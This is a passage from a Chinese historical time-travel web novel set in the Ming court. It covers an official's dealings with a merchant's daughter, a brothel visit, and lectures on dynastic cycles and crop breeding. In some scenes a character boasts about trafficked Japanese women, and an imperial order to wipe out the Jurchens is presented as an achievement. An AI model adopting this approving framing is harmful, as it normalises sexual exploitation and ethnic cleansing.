“说给他们听,就说只要说真话,就可以活下去,说一句假话,就得死。” 何文勋看着负责翻译的文官说道。 文官将这话翻译给那些弗朗机人听,那些弗朗机人听完之后,一个个再也没了愤怒的表情。 他们不懂,眼前这些黄皮肤黑眼睛的人是来自哪里?难道是来自遥远的东方? 难道是那该死的麦哲伦为他们招惹下的大敌? 这些弗朗机人不禁想起了前往东方的麦哲伦船队,到现在都杳无音讯。 这些人之中居然有人懂弗朗机语,一定是麦哲伦出卖了他们。 一想到这些,这些弗朗机人再没了说谎的想法。 毕竟眼前这些人似乎对他们极为了解,连他们是否说谎都知道。 ...... 京城,周府,林廌走后,沈炼拿着一个册子来到了周楚面前。 “你说说吧。” 周楚此时正在喝茶,懒得去接册子,周楚相信沈炼一定看过了。 “大人,这个汪明月并非汪拢的亲生女儿,好像是十三年前被他收养的。” 沈炼说道。 “哦?” 听到这话,周楚倒是有些意外。 “这个汪明月,原本似乎出生在一家农户之中,她爹不知道是谁,她娘十三年前也死了,十三年前也正是汪拢收养她的时候,说来奇怪,汪拢收养汪明月之前,他还只是个名不见经传的小商人,自从收养了汪明月,不到两年时间,他就搭上了山西的那些商人,开始做起了煤炭生意。” 沈炼神情严肃道。 此时的沈炼也意识到了这个汪明月的身份恐怕很不简单,很可能是某人的在乡下遗留的私生庶女。 “那有没有查到这个汪明月的生父是谁?” 周楚问道。 “具体是谁查不清楚了,时间太久了,但根据汪明月出来的那个村子的村民的说法,当年汪明月的娘被一个书生喝醉之后玷污了,那书生听口音似乎是江南人士。” 沈炼如实回答道。 “江南,江南!” 周楚一边敲击着椅子扶手,一边呢喃着。 周楚将自己在江南认识的那些人在脑海之中一个个过了个遍,最终也没得出一个具体的结论,因为江南这个范围太大了,周楚得罪的人又太多了,符合要求的也有不少。 “让人继续盯着,有什么消息随时跟我汇报。” 周楚说道。 第308章 汪明月的生父,周楚和汪明月的理念冲突 “大人,汪明月这两天经常在您家附近还有云桂坊出现,现在就在您家不远处,想必是奔着您来的。” 沈炼向周楚汇报道。 这话让周楚有些意外。 说实话这个汪明月已经多次让自己感到意外了。 按理说,她既然是奔着自己来的,肯定清楚自己的身份,也清楚她的一举一动是瞒不过自己的。 这个女人似乎想要打明牌? 想明白这些,周楚倒是想看看这个汪明月葫芦里卖的什么药。 于是周楚起身走出了周府,此时的周楚没有上朝也没有当差,穿的只是常服,但那一身的面料出自云桂坊,但凡有点眼力的人都知道周楚身上的衣服价值不菲。 “你们俩稍微离远点。” 周楚看着跟着自己的沈炼和大柱,说道。 两人听到这话,顿时会意,和周楚之间拉开了距离。 周楚走出去没多远,刚好看到汪明月带着婢女从一家胭脂铺子里面出来。 周楚和汪明月两人四目相对。 “是你啊,我正要找你算账呢,你卖给我的那颗珍珠,我爹说我被你坑了,同样品相的珍珠最多就三千两一颗。” 汪明月看到周楚,顿时气不打一处来。 周楚听到这话,脸上毫无愧疚之色。 “汪小姐这是说的什么话?价格不是你自己出的吗?当时我说汪小姐无论出什么价格,这颗珍珠都会卖给你,一万两又不是我出的价。” 周楚一脸无辜道。 汪明月听到这话,顿时愣住了,想了半天,也想不出该如何反驳周楚,但又总觉得哪里有些不对劲。 “你叫什么名字?看你这身衣服,也不像是云桂坊的跑堂的呀。” 汪明月看着周楚,忽然转移话题道。 “我叫张大柱。” 周楚信口胡说道。 “张大柱?你怎么会叫这个名字?你这身穿着和名字不太相符啊。” 汪明月满脸不解道。 “我以前是在乡下长大的,后来我生父生母将我送给现在的爹娘收养了,他们也姓张,就没改名。” 周楚说这话的时候,双眼一直看着汪明月。 果然,汪明月听到这话,脸色变得有些不自然,不过很快就恢复了。 “那你觉得那些乡下的人如何?” 汪明月很认真地看着周楚,问道。 “乡下的人,每个人都不一样,每个地方也不一样,不能一概而论,不过大部分乡下的百姓都在为活下去努力,本身已经够辛苦了。” 周楚说道。 “周大人,其实我觉得那些乡下的人就应该如此,那些人,你对他们再好,他们也不会感激你,只会觉得你给的不够多,就像两年前,周大人为了朝廷,为了百姓查办了那么多贪官,当时百姓可曾感激过周大人?他们将周大人视为奸臣,视为洪水猛兽。” 汪明月看着周楚,忽然不装了,直接叫了周大人这个称呼。 “百姓一时或许不懂,他们不懂,可以慢慢教他们,慢慢他们都会懂的,这样大明才会越来越好,倘若只是让少数人欺上瞒下,大明又如何能好?” 周楚看着汪明月,对于汪明月的话,做了认真的回答。 “大人这些天一定派了人去查我,不过大人想要查出我的生父恐怕有些困难吧?” 汪明月看着周楚,明媚一笑道。 “确实没查到,只查到是个来自江南的读书人。” 周楚点了点头道。 “他算什么读书人,不过是个自私自利的小人罢了,不过也对,读书人又有几个不自私自利呢?” 汪明月冷笑道,她甚至都懒得称呼李贤的字号。 “我的生父是李贤,他是江南商会的会长,一个极度自私自利的商人,他这种人连他身边的人都不在乎,又怎么会在乎我这个突然出现的非婚生庶女呢。” “十三年前我爹收养了我,那时候他还是个小商人,他对我很好,我也知道自己的生父是谁,就告诉了他,那时的李贤娶了一个大家闺秀,巴结上了官家,生意做的越来越大,我自然就成了他的弱点,倘若我这个非婚生女突然出现,他的夫人甚至他夫人家的人都不会饶了他。” 汪明月满脸平静,仿佛是在讲别人的故事。 “李贤原本是想灭口的,却被我和我爹逃过了一难,不得已,他开始为我爹介绍那些山西商人,让我爹的生意越做越大,要求只有一个,那就是我们父女不能再出现在江南。” “所以找我,不是为李贤报仇的。” 周楚说道。 “当然不是,李贤在江南被锦衣卫的人折磨致死,我得到这个消息的时候无比痛快,很多年没这么痛快过了,当初我娘的一切遭遇,都是因为这个畜生。” 汪明月说到这里的时候,眼神之中满是仇恨。 “所以你来找我,是为了什么?” 周楚问道。 “周大人似乎很在乎那些底层百姓的死活,李贤死后,我对周大人愈发感兴趣,就打听了周大人做的一些事,发现云桂坊和云桂坊布庄工人的工钱远超其他工人,而且无论是吃的还是各个方面,都不是其他地方能比的。” 汪明月看着周楚,说道。 周楚听到这话,点了点头。 “你是为了这个找我?” 周楚有些不解道。 “没错,当初我和我娘在乡下生活的时候,乡下的那些农户一个个都欺负我娘,不把我娘当人,后来我成了汪家大小姐,这些人一个个又舔着脸来找我要钱来了,刚开始我还给了一些,可是后来他们却嫌我给的少,甚至那些拿了我钱的人,也没几个人说我的好话,感念我的好。” 汪明月说道。 此时周楚和汪明月已经来到了旁边的一个酒楼,单独开了个雅间。 “他们这些人,就该穷着,就该吃不上饭,周大人对他们这么好,有什么用?” 汪明月看着周楚,问道。 “不让这些人好起来,难道让李贤这种人不断欺上瞒下?底层百姓是愚昧,但可以慢慢引导,慢慢教,民智是可以开启的,但不能让话语权一直掌握在李贤这种人手中,你和你娘的遭遇,归根结底是来自于李贤,而非这些人。” 周楚喝了口茶道。 汪明月听到这话,陷入了沉默。 第309章 毛纪流放宁古塔,被震慑的百官 最终,周楚没有说服汪明月,汪明月也没有说服周楚,两人不欢而散。 “安排几个人盯着她。” 周楚出了酒楼之后,对沈炼说道。 这个汪明月很明显是个极聪明的女人,但童年的经历又让这个女人情绪极其不稳定,从刚开的谈话之中,周楚就能感觉到这个女人的一丝癫狂。 很难说在汪家是汪明月做主还是汪拢做主,在周楚看来,多半是汪明月,甚至当初他们父女两人去找李贤,恐怕也是汪明月的主意。 一个人的童年很重要,好的童年可以治愈一个人的一生,相反,不好的童年可以毁了一个人的一生。 汪明月显然是后者。 周楚能明显感觉到,汪明月内心的破碎,以及那些极力压制的情绪。 最重要的是,当初李贤被抓的时候,和李贤相关的人都已经被抓了,包括李贤夫人的娘家,也早已被周楚查办。 倘若自己是李贤的话,在做这件事之前,会做好一些预案,比如将自己隐藏起来的财富留给自己流落在外的庶女,不管这个庶女对自己什么态度,终究是自己的骨肉,李贤在没得选的情况下,恐怕只能留给汪明月了。 甚至李贤很可能还抱着某些不切实际的期望,比如自己这个庶女为自己报仇。 不论出于哪种原因,汪明月这个女人都是一个极不稳定的因素,一定要盯死。 这几日,关于毛纪以及杨廉等官员的处理结果基本敲定了。 毛纪流放宁古塔,杨廉秋后问斩,其他官员大多是流放,少数秋后问斩。 以毛纪的年纪,倘若流放岭南的话,还能活不少年,但流放宁古塔的话,那就是根本没打算让他活下去。 不得不说,杨一清对毛纪还是比较狠的,这些人的罪名基本都是内阁拟票定的,杨一清和谢迁都这个年纪了,倒也没想着给自己留什么后路了,对毛纪不可谓不狠。 毛纪的罪名和判罚结果一出,朝野震动,作为曾经的阁老,毛纪居然被流放宁古塔,一时之间,朝中百官人人自危,很多想起自己做的那些事,顿时如坐针毡。 周楚要的就是这种结果,以往就是对这些官员太好了,导致他们肆无忌惮,做起事来甚至连遮掩都懒得遮掩。 有了毛纪这个例子,再加上现在经过考成法之后,百官的俸禄都得到了大幅度的提升,以后这些官员不说一点不贪,但最起码很多事可伸手可不伸手的时候,他们就会有所顾虑。 只是这样,底层百姓的生存环境就会得到大幅度的提升。 周楚刚从锦衣卫所回到家中,天色渐黑,却看到陆炜正在自己家中等着自己。 “有什么事吗?” 周楚看着陆炜欲言又止的模样,问道。 “那个...那个....我听说教坊司的柳思思姑娘对你可是日思夜盼啊。” 陆炜组织了一下语言,说道。 周楚听到这话,眉毛一挑。 “你说的是什么屁话?你不就是想去教坊司吗?还用得着这般?你才大婚多久?前几日不还见你和你夫人那般恩爱吗?怎么今日就想着去教坊司了?” 周楚直接戳穿了陆炜的心思。 陆炜面皮本就薄,被周楚直接戳穿了心思,很是尴尬,不过为了去教坊司,他也是拼了。 “你是不知道,苒苒好是好,但她是大家闺秀,那房中之事总是中规中矩,毫无乐趣。” 陆炜说完叹了口气。 “你还乐趣上了?你一个大男人不想着读书科举,整天想着这裤裆子里的事,不觉得害臊吗?” 周楚瞥了一眼陆炜道。 “我每日都在用功读书,下次乡试必能中举。” 陆炜急忙保证道。 周楚听到这话,看了看陆炜,看他的神情不似作伪。 “你想去自己去便可,找我作甚?” “我自己一个人去,要是被爹娘知道了,我爹能打断我的腿,你带我去就不一样了,你无论做什么,我爹娘都觉得肯定有道理。” 陆炜看着周楚,有些谄媚道。 “行,不过你得答应我,最多一个月去一次。” 周楚有些无奈道。 这个头是自己开的,自己不答应,陆炜肯定会自己一个人偷偷去,那样的话更不好。 不如放在自己眼皮子底下。 “你让人去公主府,叫林二公子过来。” 周楚看着春兰道。 想到去教坊司,周楚不禁想起了自己第一次去教坊司找林廌,那时候进教坊司借住的还是陆松的腰牌。 林廌虽然纨绔了些,但作为一起去教坊司的人选还是不错的。 周楚想着的是陆炜和林廌能不能成为好友,林廌无论是身份还是其他方面,作为陆炜的好友绰绰有余。 春兰离开后,周楚郑重其事地看着陆炜,把陆炜看的心里直发毛。 “二哥,你有什么话就直说吧,别这么看着我呀。” 陆炜心虚道。 “你如今已经成婚了,算是一家之主了,也算是个真正的男人了,男人,就要有男人的担当,不要整天脑子里只想着享乐,也不要总想着背靠我和大哥,我们是我们,你是你,倘若你认识不到这一点,你这辈子也就完蛋了。” 周楚说道。 陆炜听到这话,神色一正,陷入了思考之中。 周楚和陆炜都没有再说话,而是静静地等待林廌的到来。 大概过了两刻钟时间,林廌到了。 “大人,您叫属下过来,所为何事?” 林廌来到周楚面前,躬身行礼道。 “没什么事,这家伙非要去教坊司,我这不是想着当初第一次进教坊司就是去抓你嘛,干脆叫上你一起。” 周楚调侃道。 林廌听到这话,脸色一尬。 “大人,当年的事就别提了,我那时候不懂事。” 林廌小声道。 “那你去不去?” 周楚反问道。 “去,当然去了,属下在东瀛的时候,就天天想着教坊司的女人,东瀛的那些女人越玩越没意思。” 林廌两眼放光道。 第310章 柳思思的心思,奴儿干都司,对女真人动手 周楚带着林廌和陆炜两人来到教坊司的时候,陆炜完全没了上次的拘谨,在教坊司官员的带领下,轻车熟路的来到了那栋极为豪华的阁楼之中。 一时之间,教坊司的官员将最顶级的清倌人和红倌人都叫了过来,陆炜看着那几位熟悉的红倌人,两眼放光,那几人也冲着陆炜抛媚眼。 最终,陆炜点了三个红倌人,林廌点了两个,留下一个清倌人抚琴。 “大人,小的这就是把柳思思带过来。” 教坊司的官员眼看着周楚对其他人无动于衷,顿时意识到周楚还是冲着柳思思来的。 “不用了,我去找她就行。” 周楚看着陆炜和林廌两人相谈甚欢的模样,觉得自己在这里待下去,他俩未必放得开,索性起身离开了。 周楚在教坊司之中随意走着,后面跟着教坊司的官员,生怕周楚看到不该看的东西,却又不敢阻止这位,一时心情十分忐忑。 周楚倒也没乱逛,直奔柳思思住的地方就去了,这让教坊司的官员松了口气。 柳思思此时还没有入睡,正在房间之中拿笔写着字,自从上次之后,柳思思在教坊司的身份就变的极为特殊了,即便是教坊司的这些官员,也要对她温声细语,不敢有丝毫责问。 柳思思的吃穿用度,更是整个教坊司最顶级的。 即便柳思思用的文房四宝,教坊司也特意给她购置了一批最顶级的。 教坊司很清楚,要是伺候不好这位姑奶奶,到时候她在周大人身边稍微吹吹枕边风,就够他们喝一壶的。 周楚来到柳思思门前,敲了敲门。 “谁啊?” 柳思思清脆的声音在屋子里响起。 “是周大人,还不快开门。” 身后教坊司的官员急忙说道。 柳思思听到这话,心中一喜,稍微整理了一下仪容就急忙来到门前,拉开门栓。 “大人。” 柳思思看到周楚,心中愈发惊喜,上一次周楚来这里已经是一个月之前的事了,原本柳思思觉得周楚只是一时兴起,以后还会不会来找她都说不定呢。 所以这一个月的时间,柳思思患得患失,每天总期盼着周楚能来找她。 没想到今日周大人不期而至,这让柳思思如何不惊喜? 周楚信步走进柳思思的屋子里,柳思思看了一眼后面教坊司的官员,那些官员躬身对周楚的背影行礼之后,纷纷离去,柳思思这才把门关上。 “大人今日怎么有兴致来教坊司了。” 柳思思柔声道。 “闲来无事,想来就来了。” 周楚看了一眼书桌上柳思思写的字,拿了起来,仔细端详。 “大人,贱妾的字入不得大人的法眼,大人的字那才叫好看。” 柳思思有些害羞道。 “写的倒也不错,很是娟秀。” 周楚说道。 柳思思听到这话,顿时喜上眉梢。 另外一边,陆炜和林廌在周楚离开之后,顿时松了口气,周楚在这里,两人心理压力太大,都放不开。 林廌搂着一个衣衫半解的红倌人,看着眼前的陆炜。 “陆兄,你有没有玩过东瀛的女人?” 陆炜听到这话,摇了摇头。 “倒是听说这段时间京城各个青楼来了一批东瀛的女人,还没有机会尝试。” 听到这话,林廌一脸骄傲。 “京城的那些东瀛女人,都是我们从东瀛抓了让人运回来的,都是些普通货色,真正的极品都在大名府。” 林廌越说越兴奋,似乎想起了自己在东瀛的光辉战绩。 “大名府?那是什么?” 陆炜不解道。 “东瀛是由一个个大名统治的,大名府大概就相当于王府吧。” 林廌说这话的时候,他怀里的红倌人正端着一杯酒放在他的嘴边,他一饮而尽。 “你是不知道,我在东瀛的时候,大名府的女人都被我睡了个遍,不过睡多了也没意思,东瀛女人看着都长一个样。” 林廌说着说着,顿时觉得东瀛女人索然无味,一把搂住另一个红倌人。 另外一边,正在大同的林鹿收到了来自皇帝的圣旨。 “着林稚心率领虎贲军奔袭前往奴儿干都司,将奴儿干都司以南的区域尽数收归我大明所有,犁清当地女真人,钦此。” 宣旨太监高声道。 “臣林鹿接旨谢恩。” 林鹿双手接过圣旨道。 “公公,陛下可还有什么话没说的?” 林鹿说着拿出一块银子递给了宣旨太监。 太监不着痕迹地将银子收了起来,顿时露出了笑容。 “林大人放手去做就是,这次的事,是周大人和陛下一起谋划的,周大人觉得蒙古人已经不成威胁了,当年成化帝清理过一次女真人,却也没有完全清除,为了防止这些女真人再次做大,顺便将奴儿干都司收复,这对大人而言是大功一件。” 太监低声道。 林鹿听到这话,顿时明白了,这件事还是周大人谋划的。 果然,周大人的眼光永远看到自己的前面。 现在整个大明以北的区域大半都被林鹿收复了,而且各地藩王所属的商人已经逐步涌入草原之中,开始在草原上大规模养羊了。wWW.xszWω㈧.йêt 奴儿干都司自从当年被仁宣父子放弃之后,一直都没有归附大明,原因是奴儿干都司是苦寒之地,驻军所需花费的资金是巨大的。 这个问题林鹿也想过,不只是林鹿,嘉靖也想过,甚至还问过周楚。 “陛下,那奴儿干都司只是冬天冷罢了,那山上可到处都是宝贝,先把奴儿干都司收复,然后告诉我大明底层的百姓,奴儿干都司的山上到处都是宝贝,不过也很危险,臣相信愿意去闯一闯的大有人在,长此以往,那里不就都是我大明的子民了吗?” 周楚这话,让嘉靖打开了新的思路。 于是才有了毛纪被流放到宁古塔,如果嘉靖不准备收复奴儿干都司的话,也不会暗示杨一清等人将毛纪流放到宁古塔,毕竟宁古塔早已不在大明的版图之内。 但现在不同了,等到毛纪走到宁古塔的时候,恐怕奴儿干都司都已经被林鹿收复了。 林鹿带着虎贲军,讲究的就是一个兵贵神速,从不拖泥带水。 如今又是夏天,天时地利人和全在大明这边,此时不趁机收复奴儿干都司,更待何时? 如今的虎贲军由原本的两千人,在周楚和皇帝的授意下扩充到了三千人,再多就不好扩充了。 每一个虎贲军,无论是盔甲亦或是各方面的花销都是极高的,单单是战马的养护和消耗,都是极其惊人的。 当然,现在有了草原这个天然牧场,战马方面的消耗反而变得微不足道了,蒙古人的马要多少有多少,而且耐力十足,草原上养一匹马的成本极低。 这也是为何扩充虎贲军的根本原因。 虎贲军三千人已经是目前的极限,再多了就很难保持如此高的军事素质和高机动性,甚至到了以后没那么多仗打的时候,虎贲军人数过多,消耗的也会很多。 虽说如今大明有钱,但不是所有人都愿意不断地拿出钱来供养这么一支军队的。 所以周楚才会一直给虎贲军和玄武军一直预留军费,为的就是防止以后有人对这两支军队动手。 ........... 京城之中,即将迎来科举大考,原本科举的主考官应该是礼部尚书夏言的,但毛纪出事之后,夏言低调的可怕,科举一事更是直往外推。 “臣这些天身子骨也不知道是怎么了?越调养越差了,这科举可是个体力活,臣恐难胜任,还望陛下另选贤能。” 朝会上,夏言一边咳嗽,一边说道。 “公谨既然身体不适,那就算了,这次的主考诸位觉得由谁担任最合适?” 嘉靖看着朝堂上的官员,说道。 “臣觉得由杨阁老担任最合适不过,以杨阁老在文坛的地位,担任主考官,绰绰有余。” 韩玠直接出列道。 这个杨阁老自然说的是杨慎,而非杨一清。 “臣也觉得用修合适,以用修的才华,主持这次大考还是手到擒来的。” 杨一清也出列道。 杨一清这也算是投桃报李了,之前毛纪的事,杨慎替他说过话,这对杨一清而言至关重要,杨一清也不是不识好歹之人,自然不介意在这个时候帮杨慎一把。 更何况满朝文武,像杨慎这般身居高位还是孤臣的少之又少,又有谁比他更合适当主考官呢? 实际上不只是杨一清,如今朝堂的形势很多官员已经看不清楚了,所以很多人都不敢胡乱站队,但他们能看清楚一件事,那就是主考官推荐杨慎,那是绝不会犯什么错误的。 于是一个个官员纷纷站出来,举荐杨慎担任此次科举的主考官。 “既如此,用修,就麻烦你了。” 嘉靖看着杨慎,说道。 “臣自当为陛下分忧。” 杨慎出列道。 “公谨,这次科举你也要监考,毕竟考题是你们礼部出的,你身子骨不好,倒也不用过于忙碌,只需要在国子监待着就行。” 嘉靖看着夏言道。 这话的意思很明显,题目是你们礼部出的,你夏言休想在科举期间抛头露面,必须一同监考,否则泄了题,就是你的问题。 “臣明白,理当如此。” 夏言躬身道。 八月份的天气异常的炎热,这对要持续考好几日的仕子是一个巨大的考验,特别是对那些年纪大的考生,像文徵明这样的,对他们而言,这场科举恐怕异常的难熬。 “老师,冰袋多带些,放在最底部,这样化的慢一些,热的时候拿一袋出来消暑。” 周楚说着看向春兰,春兰急忙将一袋袋冰块装入文徵明的书篓之中。 这些冰袋都是用皮袋装起来的,倒也不用担心化了之后漏的到处都是水。 文徵明此时也感到压力很大,这次可以说是他最后一次参与科举了,要是还考不中,他甚至可以想象自己的好友唐伯虎该如何嘲笑自己。 “老师不必过于担心,以老师的才学,科举是难不住老师的。” 周楚看着文徵明有些惊慌的模样,出言宽慰道。 周楚这话并非空穴来风,如果还是夏言为主考,周楚还不敢说这话,毕竟夏言可能会为了恶心周楚刻意卡文徵明,毕竟文徵明的字太有代表性了,即便是糊名阅卷,只要是看到文徵明的字的,很难认不出来。 更何况原本夏言这些人的阅卷标准,更多的是以功利性为目的,不是为了朝廷,也不是为了百姓,而是为了确定这些仕子的站队问题。 那么仕子写的策论是否能治国,文学性如何,都不是他们需要考虑的。 但杨慎不用,杨慎本就是大明文坛的泰山北斗,阅卷的时候肯定更注重文学性和治国这两方面。 这对文徵明无疑是很有利的。 每一个主考官喜欢的文章侧重点都是不同的,范进的文章在其他人眼中一文不名,但在另一个主考官眼中却是难得的好文章。 科举本就是时也运也,遇不到合适的主考官,可能会蹉跎半生。 “衡器,你说我要是考不上,伯虎不会笑话我吧?” 文徵明还是有些不太放心地看着周楚,问道。 “不会,他老人家现在连考都没得考,怎么会笑您,更何况您这次肯定能考上。” 周楚笑道。 “哎,当年他就是太过狂放,整日流连青楼,因为这事我也劝过他,他却是听不进去,否则也不会有当年的祸事了。” 文徵明叹了口气道。 “老师何必再提这些,他老人家如果想考的话,学生还是有办法的,只是他已经没了那个心思,人的命,早就注定了,改不了的。” 周楚说着将一块冰镇寒瓜递给了文徵明。 “老师先吃几块瓜消消暑。” 文徵明接过寒瓜,不再多言,开始吃起了瓜。 吃完瓜之后,文徵明在婢女的伺候下洗了洗手和脸,随后出了周府,直奔考上而去。 “二哥,你说徵明先生能高中吗?” 一旁的云瑾看着文徵明离去的背影,仿佛看到了大明千千万万举子的一生,不禁有些感慨。 “应该可以。” 周楚有些不太确定道。 第311章 历史周期律,杂交水稻和小麦的方向 胡宗宪等人在周楚离开张家村之后,在张家村待了一段时间,纷纷给周楚写信,想要进京找老师,他们清楚,只有跟在周楚身边,才能学到东西,在张家村,他们自学的效率远比不上跟在周楚身边的时候。 对于海瑞这些人,周楚想了想,还是让他们进京了,虽说书院在余姚,但书院不过是一个形式罢了,至于在哪里学,还要看自己在哪里。 胡宗宪等人抵达京城的时候,正是会试开始的第二天。 这让赵贞吉等人很是兴奋。 “来得早不如来得巧,刚好可以看到这次科举放榜。” 赵贞吉说道。 “那有什么好看的,不过是些酸腐文人罢了。” 胡宗宪一脸不屑道。 虽说在进入学院之前胡宗宪也是个读书人,但胡宗宪形式从来都不是按规矩的,对于那些酸腐文人,一向看不入眼,自从入了学院,跟随周楚学了那么久,又在张家村务农这么久,他们才真正明白底层百姓的生活是怎么样的。 直到这个时候,他们才逐渐理解以前理解不了的一句词,少年不识愁滋味,爱上层楼,爱上层楼。 和底层百姓的朝不保夕相比,他们从小到大的生活何其优渥,偏偏很多人喜欢吟诵一些淫词滥调,不知所谓。 在张家村之前,胡宗宪对周楚只是崇拜,觉得周大人似乎无所不能,但进入张家村,正式拜师周楚之后,胡宗宪才发现,自己的这位老师和自己之前想的完全不一样,老师看似心狠手辣,实则悲天悯人。 他看世界,看大明的眼光,和其他所有人都不一样。 就算是唐太宗李世民,说出民为贵君为轻,民为水君为舟的话,但在这位唐太宗眼里,所谓的民从来都不是底层绝大多数百姓,而是士大夫阶层。 自古以来,无论是汉朝,还是唐朝,亦或是宋朝,都在刻意地讨好士大夫阶层。 原本胡宗宪赵贞吉等人对阶层没有那么清晰的认知的,因为他们本身就处于士大夫阶层,他们原本的目光是触及不到最底层百姓的。 直到他们在张家村生活的这段时间,这才意识到真正的底层百姓,大明的绝大多数人的生活是什么样的。 此时他们才真正的意识到,阶级是真实存在的,而且如此的直观而清晰。 胡宗宪纵观历史,发现好像除了大明的太祖皇帝,就只有自己的这位老师,将视角真正的放在了底层百姓身上,这让胡宗宪对自己的老师有一种高山仰止的感觉。 “你们知道历朝历代灭亡的根本原因是什么吗?” 周楚看着下面的一众学生,问道。 众人听到这话,互相看了一眼,似乎都有各自的看法。 “赵贞吉,你来说。” 周楚指了指赵贞吉道。 赵贞吉听到这话,急忙站了起来。 “昏君当道,百姓民不聊生。” 赵贞吉想了想说道。 周楚听到这话,却是摇了摇头。 “你说的只是表因,没有说到根本。” 说完这话,周楚又指了指胡宗宪。 “胡宗宪,你来说。” 胡宗宪站了起来,并没有立刻回答,而是思索了许久,他脑海之中似乎有了个大致的答案,模模糊糊。 “学生还没彻底想明白,但学生觉得应该和阶级有关系。” 胡宗宪说道。 周楚听到这话,点了点头。 “你说的很对,历朝历代,刚开国的时候,都是以资源的重新分配开始的,这个时候,底层百姓获取的资源土地是最多的,但随着时间的流逝,百姓的土地逐步被士绅阶层吞并,这一点,你们看一看我大明就知道了。” 周楚说到这里,停了下来,留下了时间给众人思考。 此话一出,众人如同醍醐灌顶一般,很多原本想不明白的事,就都想明白了,比如大明开始的时候,淮西勋贵们吞并土地,太祖皇帝为何清算淮西勋贵。 比如为何后来士绅阶层的土地越来越多,百姓的土地越来越少。 “到了每个朝代末,百姓手里的土地极少,却要承担极重的税赋,资源极度不平衡,这样一个世界本就已经是强弩之末,历史无数次的证明了,当底层百姓活不下去的时候,就是推倒重来的时候,比如汉末黄巾之乱,为何张角可以一呼百应?他的米汤真的能治百病吗?” 周楚的话,如同暮鼓晨钟一般,敲击在众人心头。 “历朝历代,以资源的重新分配开始,以资源集中在士绅阶层结束,莫不如此,这就叫历史周期律。” 周楚总结道。 “历史周期律!” 胡宗宪等人听到这个名词,仔细咀嚼着这几个字。 “一个王朝想要长久的存在下去,那么就得打破历史周期律,不过这句话说着简单,做起来却是难如登天,你们可知道为什么?” 周楚看着众人,问道。 胡宗宪等人摇了摇头,他们一时间被灌输了太多信息,此时还没有完全消化,人都是懵的。 “还请老师解惑。” 海瑞恭敬道。 “当初随太祖皇帝一起起兵的那些人,都是出生于底层,可以说大多数都是泥腿子,算不士绅阶层吧?” 周楚看着众人,问道。 众人听到这话,纷纷摇了摇头。 “可是后来他们当权之后,一个个想着的不是如何维护底层百姓的利益,而是去侵吞百姓的利益,他们变了,他们从原本的底层一跃成为了新的士绅阶层,这代表着万事万物,包括人,都是在不断变化的,阶层也并非固定的。” “他们消灭了原本的士绅阶层,却又变成了新的士绅阶层,成了士绅阶层之后,他们就要维护自己的利益,于是太祖皇帝就要向他们开刀。” “太祖皇帝一生杀了多少人?三万多官员,他要做的只有一件事,消灭士绅阶层,但事实证明,他失败了,即便他杀的再多,那士绅阶层永远杀不完,后来的事情,你们都是知道的。” 周楚说完这话,喝了口茶,停了下来。 胡宗宪等人听完这话,陷入了震撼之中,此时他们才如此直观的感觉到了,想要动摇历史周期律,是一件多么难的事,太祖皇帝一生杀了三万多官员,仍然失败了,而且是惨败。 一想到这些,胡宗宪等人就感觉脊背发寒,觉得这历史周期律比那洪水猛兽要凶猛不知多少倍,他们完全想不出任何办法来阻挡这个周期律。 一时之间,胡宗宪等人竟然生出了一股绝望的情绪。 胡宗宪等人不禁想起了自己的老师之前在江南做的那些事,丈量土地,将土地还给百姓。 原来老师很久之前就看到了这些,做的这一切都是在阻止历史周期律。 想明白这些,胡宗宪等人看向周楚,觉得眼前的老师愈发高大了。 “你们知道我为何说历史周期律难吗?” 周楚将茶杯放在旁边的桌子上道。 “因为你们这些人之中,有些人一旦身居高位之后,就会像当年的淮西勋贵一般,和我对着干,为了维护自己的利益,什么事都做得出来。” 周楚很清楚,眼前这些人并没有意识到真正的问题所在,所以才说出了这句话。 胡宗宪等人听到这话,面面相觑。 “老师,我等绝不会如此。” 赵贞吉急忙保证道。 “你也不用急着说这些,人都是会变的,你现在说的话,代表不了你以后的想法,为了更加坚定你们的立场,以后你们还要继续种地,京城之外,我又找了一个村子,以后你们还是靠给百姓种地养活自己,多余的钱财是没有的,能接受吗?” 周楚看着众人,厉声道。 “能!” 众人急忙说道。 “散了吧。” 周楚挥了挥手,说道。 众人听到这话,这才散去。 只剩下归有光在周楚面前欲言又止。 “怎么了?” 周楚看着归有光道。 “学生方才在老师的书房之中看到一本书,叫《杂交水稻、杂交小麦的育种方向》,翻看了几页,学生觉得老师真是生而知之之人,这种事情都能知道,学生想要学习这个东西。” 归有光说道。 周楚听到这话,顿时来了精神,那本事是周楚特意放在书房显眼的地方的,说是一本书,不过是一个大致的方向,对于杂交水稻杂交小麦这些周楚完全不懂,只知道是利用天然不育株不断地杂交,获取产量更高的新品种。 像水稻这种植物,一般是雌雄同体,如果不人为干预的话,它就会完成自花授粉,根本就不存在所谓的杂交,但凡事都有例外,无论是水稻还是小麦,都存在天然不育株,这种天然不育株需要异花授粉才行。 天然不育株的概率很小,只有几万分之一,但再小,只要基数够大,还是能找到的。 只要有足够的天然不育株和足够的时间,产量大的小麦种子和大米种子研究出来只是时间问题。 周楚写的那本书上面,写的就是这个方向,很多东西,就怕没方向,一旦有了方向之后,离成功就不会很远了。 归有光意识到研究这两种作物种子,才能让大明的底层百姓真正的不再挨饿,如此一来,也能变相的延长大明的国祚。 “行,你放手去做吧,有什么需要和我说,那个村子的小麦任你取用。” 周楚说道,那个村子周楚早就给足了村民好处,自然不会因为胡宗宪等人的到来,让村民活不下去。 归有光听到这话,顿时大喜过望。 归有光离开之后,海瑞和胡宗宪等人又抬着一个东西去而复返。 周楚看着眼前这个怪模怪样的东西,又看了看胡宗宪和海瑞以及赵贞吉三人。 “这是什么?” 海瑞听到这话,有些不好意思的挠了挠头。 “这是我们根据老师说的蒸汽原理制作出来的第一个机器,不过总觉得哪里不对,它不能正常运行,所以特意拿过来请老师指正。” 周楚看着眼前的这个金属疙瘩,完全没办法将它和蒸汽机联系在一起,毫无疑问,海瑞几人做的这个东西是失败的。 “具体该如何做我也不是很清楚,不过为师明白一个道理,术业有专攻,很多东西你们太过想当然了,很多零部件是你们解决不了的,这一点,你们可以找专业的人,一起探讨,回头我会调一些南镇抚司的工匠,帮你们做这个。” 周楚很清楚,如果让海瑞等人这么研究下去,不知道要研究多久,毕竟很多中间转换的零件,单靠海瑞他们想的话,恐怕想破脑袋也想不出来。 比如阀门,比如轴承之类的。 但这些如果交给一些经验丰富的工匠,那基本是一点就透。 由海瑞他们提供理论,让这些工匠来实践,研究的效率就不是一加一等于二这么简单了,会得到大幅度推进。 海瑞等人听到这话,顿时大喜过望。 